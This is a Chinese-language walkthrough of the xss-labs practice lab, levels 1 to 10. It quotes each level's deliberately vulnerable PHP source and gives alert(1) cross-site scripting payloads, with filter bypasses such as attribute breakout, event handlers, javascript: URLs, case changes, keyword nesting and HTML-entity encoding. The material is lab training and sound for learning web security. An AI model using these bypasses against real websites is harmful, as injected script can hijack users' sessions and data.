xss-labl 练习 (1--10关)

2023-10-26

xss-lab

第一关

在这里插入图片描述

将name的值直接输出

可以利用

<script>alert(1)</script>

弹窗

在这里插入图片描述

第二关

使用第一关的方法

在这里插入图片描述

行不通

查看php源代码,在github上下载

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 

<h2>部分有htmlspecialchars函数对其进行了过滤


(htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。)


<input name=keyword value="'.$str.'">部分,未进行过滤

可以将input闭合

"><script>alert(1)</script>

在这里插入图片描述

第三关

在这里插入图片描述

会将搜索框的内容展示出来

尝试<>()

在这里插入图片描述

会进行过滤

查看源代码之后发现

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 

input处也进行了过滤,但是没有过滤

不能使用<script>alert(1)</script>

因为对<>进行了过滤

使用

'onclick='alert(1)

在这里插入图片描述

点击搜索框之后

在这里插入图片描述

第四关

尝试使用<script>alert(1)</script>发现<>被过滤
在这里插入图片描述

尝试用’οnclick=‘alert(1)

在这里插入图片描述

并没有作用

尝试

"onclick="alert(1)

在这里插入图片描述

点击之后

成功

查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

对<>进行了过滤

input处可以采用""来闭合

第五关

尝试<script>alert(1)</script>

在这里插入图片描述

script被过滤成scr_ipt

尝试οnclick=alaert(1)

在这里插入图片描述

onclick被过滤成o_nclick

所以采用其他标签构建

<a href="javascript:alert(1)">

在这里插入图片描述

要对前面进行闭合、

"><a href="javascript:alert(1)">

在这里插入图片描述

点击产生的超链接

在这里插入图片描述

查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

对关键字<script替换成<scr_ipt,关键字on替换成o_n

input处使用:>进行闭合

<a>标签定义超链接,用于从一个页面链接到另一个页面。

<a>元素最重要的属性是 href 属性,它指定链接的目标。

第六关

经过测试之后,发现他对script onclick href均会过滤

用">可以将前面进行闭合

使用大写的HREF尝试

在这里插入图片描述

在这里插入图片描述

(在被过滤的情况下,使用大写字符尝试)

第七关

尝试<script>alert(1)</script>

发现对script进行了过滤

我们尝试将script中间插入script

在这里插入图片描述

可以输出成为script

前面加上">进行闭合

在这里插入图片描述

查看源代码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

strtolower()把所有字符转换为小写

故可屏蔽大小写

$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);

将script、on、src、data、href均替换为空

第八关

通过友情连接进行注入

javascript:alert(1)

在这里插入图片描述

script变为scr_ipt

大佬说用html实体转换进行绕过

在这里插入图片描述

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

在这里插入图片描述

在这里插入图片描述

源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

第九关

尝试上一关的代码

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

在这里插入图片描述

被判断为不合法

查看源代码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

输入不含http://则会判定为不合法

故构造

java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

在这里插入图片描述

在这里插入图片描述

strpos()函数:查找字符串在另一字符串中第一次出现的位置

不存在则执行if中的语句,判断为不合法

第十关

在这里插入图片描述

有keyword的存在,却没有输入框

毫无思绪

查看源代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

keyname并不是要注入的地方,真正注入的地方是三个input,但是这三个input被隐藏了

大佬说构造出

/level10.php?t_sort="onclick=alert(1) type=text"

在这里插入图片描述

点击输入框

在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

xss-labl 练习 (1--10关) 的相关文章

随机推荐

  • 整理gitHub项目JavaGuide-CSDN版

    文章目录 java 基础 基础知识系统总结 重要知识点详解 其他 容器 并发 面试题总结 面试常问知识点 JVM 其他 网络 操作系统 Linux系统 数据结构与算法 数据结构 算法 常见算法问题总结 数据库 MySQL 总结 重要知识点
  • 小程序文件系统之 -- 读写文件

    1 文件写入 获取文件系统管理器 const fs wx getFileSystemManager const writeFile data url gt const filePath wx env USER DATA PATH test
  • JAVA8将集合中的某个字段相加、批量修改某个值、高效率循环、高效便捷遍历map

    1 集合中的某个字段相加 BigDecimal 类型保留两位 Objects为你的list集合 BigDecimal freightSum objects stream map Object getMoney reduce BigDecim
  • 获得python的list中含有重复值的index

    关于怎么获得 我想其实网上有很多答案 list index 获得值的索引值 但是如果list中含有的值一样 例如含有两个11 22 这样每次获得的都是第一个值的位置 那么怎么去解决这个问题呢 下面的程序对这个问题做了一定的解答 usr bi
  • 二维码图片生成,并返回给前端

    GetMapping value qrCode produces MediaType IMAGE PNG VALUE public byte qrCode return demoService qrCode public byte qrCo
  • vscode+ssh连接远程linux系统服务器,并用anaconda管理python环境

    vscode ssh连接远程linux系统服务器 并用anaconda管理python环境 一 vscode连接服务器 1 vscode下载插件 remote SSH 2 连接服务器 3 修改配置 二 将代码拷贝到服务器上与代码同步 1 转
  • 在内部局域网内搭建HTTPs

    在内部局域网内搭建HTTPs 配置环境 Windows版本 Windows Server 2008 R2 Standard Service Pack 1 系统类型 64 位操作系统 内存 4GB 了解HTTPS 为什么需要 HTTPS 多数
  • 使用Python,OpenCV应用EAST文本检测器检测自然场景图像中的文本

    使用Python OpenCV应用EAST文本检测器检测自然场景图像中的文本 1 效果图 2 原理 2 1 为什么自然场景文本检测如此具有挑战性 2 2 替代EAST文本检测实现 3 源码 3 1 text detection py 3 2
  • Mac电脑开机出现带问号的文件夹并且闪烁 apple.com/support -2003F

    文章目录 1 视界 2 背景 2 1 开始 2 2 恐慌 2 3 转机 2 3 1 时间机器 2 3 2 重新安装 3 2 3 磁盘恢复 4 欣喜 5 神转折 6 忐忑 7 凉凉了 8 root账户 9 磁盘管理 10 两天后 11 小结
  • 性能测试-JMeter influxdb grafana性能测试监控平台-食用指南

    目录 influxdb grafana安装 influxdb grafana启动 JMeter性能数据写入influxdb JMeter 后端监听器 grafana配置 influxdb grafana安装 yum install infl
  • FreeRTOS任务基础

    任务特性 没有数量限制 一个优先级下也可以拥有多个任务 支持抢占 FreeRTOS为抢占式内核高优先级可以抢占低优先级的CPU使用权 支持优先级 决定任务运行的先后 每个任务都拥有堆栈导致了RAM使用量增大 抢占需考虑重入问题 任务状态 运
  • 操作系统 实验一 进程调度实验

    操作系统实验一 进程调度实验 题目描述 1 设计一个有N个进程并发的进程调度程序 每个进程由PCB 表示 PCB中包含进程名 优先数 服务时间等信息 2 用链表表示就绪队列 每个进程PCB用结构体结点表示 3 已知各进程的的到达时间等如下
  • vs打开qt的ui文件,报错闪退+已解决

    触发行为 使用vs打开项目 点击ui文件后 数秒后qt designer闪退 报错内容 解决 方法一 鼠标右击 在qt designer 打开后 闪退前 鼠标右击 方法二 打开qt designer 打开最近窗口 扩展 gt qt gt q
  • MapReduce job任务源码提交流程

    waitForCompletion submit 1建立连接 connect 1 创建提交Job的代理 new Cluster getConfiguration 1 判断是本地yarn还是远程 initialize jobTrackAddr
  • linux下go语言代理

    export GO111MODULE on export GOPROXY https goproxy cn
  • mapper的使用

    一 通用mapper概述 它是mybatis的一个插件 单表查询的时候 使用通用mapper会非常的方便 极大地方便开发人员 可以按照需要选择通用方法 还可以自定义通用方法 不过它也有一个非常大的局限性 只支持单表操作 不支持多表查询 1
  • 独立按键(通过按键点亮LED灯)

    我们前几节用到的是IO口的输出 这一节我们学习独立按键用到了IO口的输入 按键的接触是靠金属弹片接触 那么这个时候就会出现一个问题 按键按下就会出现抖动 根据原理图 当按键 K1或K2或K3或K4 按下 P31或P30或P32或P33 端口
  • esp8266 串口乱码

    编码问题 波特率问题 这里提一下波特率问题 8266的启动信息波特率为 74880 一般的串口调试工具没有 这里可以使用安可信串口调试助手解决
  • c++:STL-函数对象

    函数对象 函数对象的概念 1 重载函数调用操作符的类 其对象常称为函数对象 2 函数对象使用重载的 时 行为类似函数调用 也叫仿函数 本质 函数对象仿函数是一个类 不是一个函数 函数对象使用 特点 1 函数对象在使用时 可以像普通函数那样去
  • xss-labl 练习 (1--10关)

    xss lab 第一关 将name的值直接输出 可以利用 弹窗 第二关 使用第一关的方法 行不通 查看php源代码 在github上下载